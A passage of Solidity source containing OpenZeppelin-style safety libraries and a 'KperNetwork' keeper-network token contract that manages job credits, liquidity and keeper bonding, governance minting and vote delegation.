`private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: < 0"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: !contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: !succeed"); } } } library KperNetworkLibrary { function getReserve(address pair, address reserve) external view returns (uint) { (uint _r0, uint _r1,) = IUniswapV2Pair(pair).getReserves(); if (IUniswapV2Pair(pair).token0() == reserve) { return _r0; } else if (IUniswapV2Pair(pair).token1() == reserve) { return _r1; } else { return 0; } } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IGovernance { function proposeJob(address job) external; } interface IKperNetworkHelper { function getQuoteLimit(uint gasUsed) external view returns (uint); } contract KperNetwork is ReentrancyGuard { using SafeMath for uint; using SafeERC20 for IERC20; /// @notice KperNetwork Helper to set max prices for the ecosystem IKperNetworkHelper public KPRH; /// @notice EIP-20 token name for this token string public constant name = "Kper.network"; /// @notice EIP-20 token symbol for this token string public constant symbol = "KPER"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 0; // Initial 0 /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)"); bytes32 public immutable DOMAINSEPARATOR; /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint nonce,uint expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint votes; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "delegateBySig: sig"); require(nonce == nonces[signatory]++, "delegateBySig: nonce"); require(now <= expiry, "delegateBySig: expired"); _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint) { require(blockNumber < block.number, "getPriorVotes:"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint delegatorBalance = votes[delegator].add(bonds[delegator][address(this)]); delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint srcRepNew = srcRepOld.sub(amount, "_moveVotes: underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint oldVotes, uint newVotes) internal { uint32 blockNumber = safe32(block.number, "_writeCheckpoint: 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); /// @notice Submit a job event SubmitJob(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit); /// @notice Apply credit to a job event ApplyCredit(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit); /// @notice Remove credit for a job event RemoveJob(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit); /// @notice Unbond credit for a job event UnbondJob(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit); /// @notice Added a Job event JobAdded(address indexed job, uint block, address governance); /// @notice Removed a job event JobRemoved(address indexed job, uint block, address governance); /// @notice Worked a job event KeeperWorked(address indexed credit, address indexed job, address indexed keeper, uint block, uint amount); /// @notice Keeper bonding event KeeperBonding(address indexed keeper, uint block, uint active, uint bond); /// @notice Keeper bonded event KeeperBonded(address indexed keeper, uint block, uint activated, uint bond); /// @notice Keeper unbonding event KeeperUnbonding(address indexed keeper, uint block, uint deactive, uint bond); /// @notice Keeper unbound event KeeperUnbound(address indexed keeper, uint block, uint deactivated, uint bond); /// @notice Keeper slashed event KeeperSlashed(address indexed keeper, address indexed slasher, uint block, uint slash); /// @notice Keeper disputed event KeeperDispute(address indexed keeper, uint block); /// @notice Keeper resolved event KeeperResolved(address indexed keeper, uint block); event AddCredit(address indexed credit, address indexed job, address indexed creditor, uint block, uint amount); /// @notice 1 day to bond to become a keeper uint constant public BOND = 3 days; /// @notice 14 days to unbond to remove funds from being a keeper uint constant public UNBOND = 14 days; /// @notice 3 days till liquidity can be bound uint constant public LIQUIDITYBOND = 3 days; /// @notice direct liquidity fee 0.3% uint constant public FEE = 30; uint constant public BASE = 10000; /// @notice address used for ETH transfers address constant public ETH = address(0xE); /// @notice tracks all current bondings (time) mapping(address => mapping(address => uint)) public bondings; /// @notice tracks all current unbondings (time) mapping(address => mapping(address => uint)) public unbondings; /// @notice allows for partial unbonding mapping(address => mapping(address => uint)) public partialUnbonding; /// @notice tracks all current pending bonds (amount) mapping(address => mapping(address => uint)) public pendingbonds; /// @notice tracks how much a keeper has bonded mapping(address => mapping(address => uint)) public bonds; /// @notice tracks underlying votes (that don't have bond) mapping(address => uint) public votes; /// @notice total bonded (totalSupply for bonds) uint public totalBonded = 0; /// @notice tracks when a keeper was first registered mapping(address => uint) public firstSeen; /// @notice tracks if a keeper has a pending dispute mapping(address => bool) public disputes; /// @notice tracks last job performed for a keeper mapping(address => uint) public lastJob; /// @notice tracks the total job executions for a keeper mapping(address => uint) public workCompleted; /// @notice list of all jobs registered for the keeper system mapping(address => bool) public jobs; /// @notice the current credit available for a job mapping(address => mapping(address => uint)) public credits; /// @notice the balances for the liquidity providers mapping(address => mapping(address => mapping(address => uint))) public liquidityProvided; /// @notice liquidity unbonding days mapping(address => mapping(address => mapping(address => uint))) public liquidityUnbonding; /// @notice liquidity unbonding amounts mapping(address => mapping(address => mapping(address => uint))) public liquidityAmountsUnbonding; /// @notice job proposal delay mapping(address => uint) public jobProposalDelay; /// @notice liquidity apply date mapping(address => mapping(address => mapping(address => uint))) public liquidityApplied; /// @notice liquidity amount to apply mapping(address => mapping(address => mapping(address => uint))) public liquidityAmount; /// @notice list of all current keepers mapping(address => bool) public keepers; /// @notice blacklist of keepers not allowed to participate mapping(address => bool) public blacklist; /// @notice traversable array of keepers to make external management easier address[] public keeperList; /// @notice traversable array of jobs to make external management easier address[] public jobList; /// @notice governance address for the governance contract address public governance; address public pendingGovernance; /// @notice the liquidity token supplied by users paying for jobs mapping(address => bool) public liquidityAccepted; address[] public liquidityPairs; uint internal _gasUsed; constructor(address _kph) public { // Set governance for this token governance = msg.sender; DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this))); KPRH = IKperNetworkHelper(_kph); } /** * @notice Add ETH credit to a job to be paid out for work * @param job the job being credited */ function addCreditETH(address job) external payable { require(jobs[job], "addCreditETH: !job"); uint _fee = msg.value.mul(FEE).div(BASE); credits[job][ETH] = credits[job][ETH].add(msg.value.sub(_fee)); payable(governance).transfer(_fee); emit AddCredit(ETH, job, msg.sender, block.number, msg.value); } /** * @notice Add credit to a job to be paid out for work * @param credit the credit being assigned to the job * @param job the job being credited * @param amount the amount of credit being added to the job */ function addCredit(address credit, address job, uint amount) external nonReentrant { require(jobs[job], "addCreditETH: !job"); uint _before = IERC20(credit).balanceOf(address(this)); IERC20(credit).safeTransferFrom(msg.sender, address(this), amount); uint _received = IERC20(credit).balanceOf(address(this)).sub(_before); uint _fee = _received.mul(FEE).div(BASE); credits[job][credit] = credits[job][credit].add(_received.sub(_fee)); IERC20(credit).safeTransfer(governance, _fee); emit AddCredit(credit, job, msg.sender, block.number, _received); } /** * @notice Add non transferable votes for governance * @param voter to add the votes to * @param amount of votes to add */ function addVotes(address voter, uint amount) external { require(msg.sender == governance, "addVotes: !gov"); _activate(voter, address(this)); votes[voter] = votes[voter].add(amount); totalBonded = totalBonded.add(amount); _moveDelegates(address(0), delegates[voter], amount); } /** * @notice Remove non transferable votes for governance * @param voter to subtract the votes * @param amount of votes to remove */ function removeVotes(address voter, uint amount) external { require(msg.sender == governance, "addVotes: !gov"); votes[voter] = votes[voter].sub(amount); totalBonded = totalBonded.sub(amount); _moveDelegates(delegates[voter], address(0), amount); } /** * @notice Add credit to a job to be paid out for work * @param job the job being credited * @param amount the amount of credit being added to the job */ function addKPRCredit(address job, uint amount) external { require(msg.sender == governance, "addKPRCredit: !gov"); require(jobs[job], "addKPRCredit: !job"); credits[job][address(this)] = credits[job][address(this)].add(amount); _mint(address(this), amount); emit AddCredit(address(this), job, msg.sender, block.number, amount); } /** * @notice Approve a liquidity pair for being accepted in future * @param liquidity the liquidity no longer accepted */ function approveLiquidity(address liquidity) external { require(msg.sender == governance, "approveLiquidity: !gov"); require(!liquidityAccepted[liquidity], "approveLiquidity: !pair"); liquidityAccepted[liquidity] = true; liquidityPairs.push(liquidity); } /** * @notice Revoke a liquidity pair from being accepted in future * @param liquidity the liquidity no longer accepted */ function revokeLiquidity(address liquidity) external { require(msg.sender == governance, "revokeLiquidity: !gov"); liquidityAccepted[liquidity] = false; } /** * @notice Displays all accepted liquidity pairs */ function pairs() external view returns (address[] memory) { return liquidityPairs; } /** * @notice Allows liquidity providers to submit jobs * @param liquidity the liquidity being added * @param job the job to assign credit to * @param amount the amount of liquidity tokens to use */ function addLiquidityToJob(address liquidity, address job, uint amount) external nonReentrant { require(liquidityAccepted[liquidity], "addLiquidityToJob: !pair"); IERC20(liquidity).safeTransferFrom(msg.sender, address(this), amount); liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].add(amount); liquidityApplied[msg.sender][liquidity][job] = now.add(LIQUIDITYBOND); liquidityAmount[msg.sender][liquidity][job] = liquidityAmount[msg.sender][liquidity][job].add(amount); if (!jobs[job] && jobProposalDelay[job] < now) { IGovernance(governance).proposeJob(job); jobProposalDelay[job] = now.add(UNBOND); } emit SubmitJob(job, liquidity, msg.sender, block.number, amount); } /** * @notice Applies the credit provided in addLiquidityToJob to the job * @param provider the liquidity provider * @param liquidity the pair being added as liquidity * @param job the job that is receiving the credit */ function applyCreditToJob(address provider, address liquidity, address job) external { require(liquidityAccepted[liquidity], "addLiquidityToJob: !pair"); require(liquidityApplied[provider][liquidity][job] != 0, "credit: no bond"); require(liquidityApplied[provider][liquidity][job] < now, "credit: bonding"); uint _liquidity = KperNetworkLibrary.getReserve(liquidity, address(this)); uint _credit = _liquidity.mul(liquidityAmount[provider][liquidity][job]).div(IERC20(liquidity).totalSupply()); _mint(address(this), _credit); credits[job][address(this)] = credits[job][address(this)].add(_credit); liquidityAmount[provider][liquidity][job] = 0; emit ApplyCredit(job, liquidity, provider, block.number, _credit); } /** * @notice Unbond liquidity for a job * @param liquidity the pair being unbound * @param job the job being unbound from * @param amount the amount of liquidity being removed */ function unbondLiquidityFromJob(address liquidity, address job, uint amount) external { require(liquidityAmount[msg.sender][liquidity][job] == 0, "credit: pending credit"); liquidityUnbonding[msg.sender][liquidity][job] = now.add(UNBOND); liquidityAmountsUnbonding[msg.sender][liquidity][job] = liquidityAmountsUnbonding[msg.sender][liquidity][job].add(amount); require(liquidityAmountsUnbonding[msg.sender][liquidity][job] <= liquidityProvided[msg.sender][liquidity][job], "unbondLiquidityFromJob: insufficient funds"); uint _liquidity = KperNetworkLibrary.getReserve(liquidity, address(this)); uint _credit = _liquidity.mul(amount).div(IERC20(liquidity).totalSupply()); if (_credit > credits[job][address(this)]) { _burn(address(this), credits[job][address(this)]); credits[job][address(this)] = 0; } else { _burn(address(this), _credit); credits[job][address(this)] = credits[job][address(this)].sub(_credit); } emit UnbondJob(job, liquidity, msg.sender, block.number, amount); } /** * @notice Allows liquidity providers to remove liquidity * @param liquidity the pair being unbound * @param job the job being unbound from */ function removeLiquidityFromJob(address liquidity, address job) external { require(liquidityUnbonding[msg.sender][liquidity][job] != 0, "removeJob: unbond"); require(liquidityUnbonding[msg.sender][liquidity][job] < now, "removeJob: unbonding"); uint _amount = liquidityAmountsUnbonding[msg.sender][liquidity][job]; liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].sub(_amount); liquidityAmountsUnbonding[msg.sender][liquidity][job] = 0; IERC20(liquidity).safeTransfer(msg.sender, _amount); emit RemoveJob(job, liquidity, msg.sender, block.number, _amount); } /** * @notice Allows governance to mint new tokens to treasury * @param amount the amount of tokens to mint to treasury */ function mint(uint amount) external { require(msg.sender == governance, "mint: !gov"); _mint(governance, amount); } /** * @notice burn owned tokens * @param amount the amount of tokens to burn */ function burn(uint amount) external { _burn(msg.sender, amount); } function _mint(address dst, uint amount) internal { // mint the amount totalSupply = totalSupply.add(amount); // transfer the amount to the recipient balances[dst] = balances[dst].add(amount); emit Transfer(address(0), dst, amount); } function _burn(address dst, uint amount) internal { require(dst != address(0), "_burn: zero address"); balances[dst] = balances[dst].sub(amount, "_burn: exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(dst, address(0), amount); } /** * @notice Implemented by jobs to show that a keeper performed work * @param keeper address of the keeper that performed the work */ function worked(address keeper) external { workReceipt(keeper, KPRH.getQuoteLimit(_gasUsed.sub(gasleft()))); } /** * @notice Implemented by jobs to show that a keeper performed work * @param keeper address of the keeper that performed the work * @param amount the reward that should be allocated */ function workReceipt(address keeper, uint amount) public { require(jobs[msg.sender], "workReceipt: !job"); require(amount <= KPRH.getQuoteLimit(_gasUsed.sub(gasleft())), "workReceipt: max limit"); credits[msg.sender][address(this)] = credits[msg.sender][address(this)].sub(amount, "workReceipt: insuffient funds"); lastJob[keeper] = now; _reward(keeper, amount); workCompleted[keeper] = workCompleted[keeper].add(amount); emit KeeperWorked(address(this), msg.sender, keeper, block.number, amount); } /** * @notice Implemented by jobs to show that a keeper performed work * @param credit the asset being awarded to the keeper * @param keeper address of the keeper that performed the work * @param amount the reward that should be allocated */ function receipt(address credit, address keeper, uint amount) external { require(jobs[msg.sender], "receipt: !job"); credits[msg.sender][credit] = credits[msg.sender][credit].sub(amount, "workReceipt: insuffient funds"); lastJob[keeper] = now; IERC20(credit).safeTransfer(keeper, amount); emit KeeperWorked(credit, msg.sender, keeper, block.number, amount); } /** * @notice Implemented by jobs to show that a keeper performed work * @param keeper address of the keeper that performed the work * @param amount the amount of ETH sent to the keeper */ function receiptETH(address keeper, uint amount) external { require(jobs[msg.sender], "receipt: !job"); credits[msg.sender][ETH] = credits[msg.sender][ETH].sub(amount, "workReceipt: insuffient funds"); lastJob[keeper] = now; payable(keeper).transfer(amount); emit KeeperWorked(ETH, msg.sender, keeper, block.number, amount); } function _reward(address _from, uint _amount) internal { bonds[_from][address(this)] = bonds[_from][address(this)].add(_amount); totalBonded = totalBonded.add(_amount); _moveDelegates(address(0), delegates[_from], _amount); emit Transfer(msg.sender, _from, _amount); } function _bond(address bonding, address _from, uint _amount) internal { bonds[_from][bonding] = bonds[_from][bonding].add(_amount); if (bonding == address(this)) { totalBonded = totalBonded.add(_amount); _moveDelegates(address(0), delegates[_from], _amount); } } function _unbond(address bonding, address _from, uint _amount) internal { bonds[_from][bonding] = bonds[_from][bonding].sub(_amount); if (bonding == address(this)) { totalBonded = totalBonded.sub(_amount); _moveDelegates(delegates[_from], address(0), _amount); } } /** * @notice Allows governance to add new job systems * @param job address of the contract for which work should be performed */ function addJob(address job) external { require(msg.sender == governance, "addJob: !gov"); require(!jobs[job], "addJob: job known"); jobs[job] = true; jobList.push(job); emit JobAdded(job, block.number, msg.sender); } /** * @notice Full listing of all jobs ever added * @return array blob */ function getJobs() external view returns (address[] memory) { return jobList; } /** * @notice Allows governance to remove a job from the systems * @param job address of the contract for which work should be performed */ function removeJob(address job) external { require(msg.sender == governance, "removeJob: !gov"); jobs[job] = false; emit JobRemoved(job, block.number, msg.sender); } /** * @notice Allows governance to change the KperNetworkHelper for max spend * @param _kprh new helper address to set */ function setKperNetworkHelper(IKperNetworkHelper _kprh) external { require(msg.sender == governance, "setKperNetworkHelper: !gov"); KPRH = _kprh; } /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } /** * @notice confirms if the current keeper is registered, can be used for general (non critical) functions * @param keeper the keeper being investigated * @return true/false if the address is a keeper */ function isKeeper(address keeper) external returns (bool) { _gasUsed = gasleft(); return keepers[keeper]; } /** * @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions * @param keeper the keeper being investigated * @param minBond the minimum requirement for the asset provided in bond * @param earned the total funds earned in the keepers lifetime * @param age the age of the keeper in the system * @return true/false if the address is a keeper and has more than the bond */ function isMinKeeper(address keeper, uint minBond, uint earned, uint age) external returns (bool) { _gasUsed = gasleft(); return keepers[keeper] && bonds[keeper][address(this)].add(votes[keeper]) >= minBond && workCompleted[keeper] >= earned && now.sub(firstSeen[keeper]) >= age; } /** * @notice confirms if the current keeper is registered and has a minimum bond, should be used for protected functions * @param keeper the keeper being investigated * @param bond the bound asset being evaluated * @param minBond the minimum requirement for the asset provided in bond * @param earned the total funds earned in the keepers lifetime * @param age the age of the keeper in the system * @return true/false if the address is a keeper and has more than the bond */ function isBondedKeeper(address keeper, address bond, uint minBond, uint earned, uint age) external returns (bool) { _gasUsed = gasleft(); return keepers[keeper] && bonds[keeper][bond] >= minBond && workCompleted[keeper] >= earned && now.sub(firstSeen[keeper]) >= age; } /** * @notice begin the bonding process for a new keeper * @param bonding the asset being bound * @param amount the amount of bonding asset being bound */ function bond(address bonding, uint amount) external nonReentrant { require(!blacklist[msg.sender], "bond: blacklisted"); bondings[msg.sender][bonding] = now.add(BOND); if (bonding == address(this)) { _transferTokens(msg.sender, address(this), amount); } else { uint _before = IERC20(bonding).balanceOf(address(this)); IERC20(bonding).safeTransferFrom(msg.sender, address(this), amount); amount = IERC20(bonding).balanceOf(address(this)).sub(_before); } pendingbonds[msg.sender][bonding] = pendingbonds[msg.sender][bonding].add(amount); emit KeeperBonding(msg.sender, block.number, bondings[msg.sender][bonding], amount); } /** * @notice get full list of keepers in the system */ function getKeepers() external view returns (address[] memory) { return keeperList; } /** * @notice allows a keeper to activate/register themselves 